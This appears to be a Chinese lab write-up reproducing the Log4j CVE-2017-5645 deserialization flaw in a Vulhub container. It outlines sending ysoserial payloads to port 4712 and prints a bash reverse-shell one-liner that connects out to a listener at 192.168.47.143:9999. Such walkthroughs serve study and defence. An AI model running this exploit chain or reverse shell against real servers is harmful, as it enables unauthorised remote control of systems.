【Apache Log4j Server 反序列化命令执行漏洞】

一、漏洞介绍

Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

二、影响版本

Apache Log4j 2.8.2之前的2.x版本 Log4j2.x<=2.8.1

三、漏洞复现

启动Vulhub靶场

进入vulhub靶场目录选择logj4下的CVE-2017-5645镜像，启动镜像。

查看镜像映射端口情况，使用的是4712端口

我们使用ysoserial生成payload，然后直接发送给your-ip:4712端口

进入容器，查看在运行容器的ID，通过 exec 命令对指定的容器执行 bash进入查看temp目录下是否成功生成error0文件

对反弹shell进行base64编码：

bash -i >& /dev/tcp/192.168.47.143/9999 0>&1

编码后，用ysoserial构造payload：

用Windows进行监听：

成功反弹shell

四、修复建议

升级到新的安全版本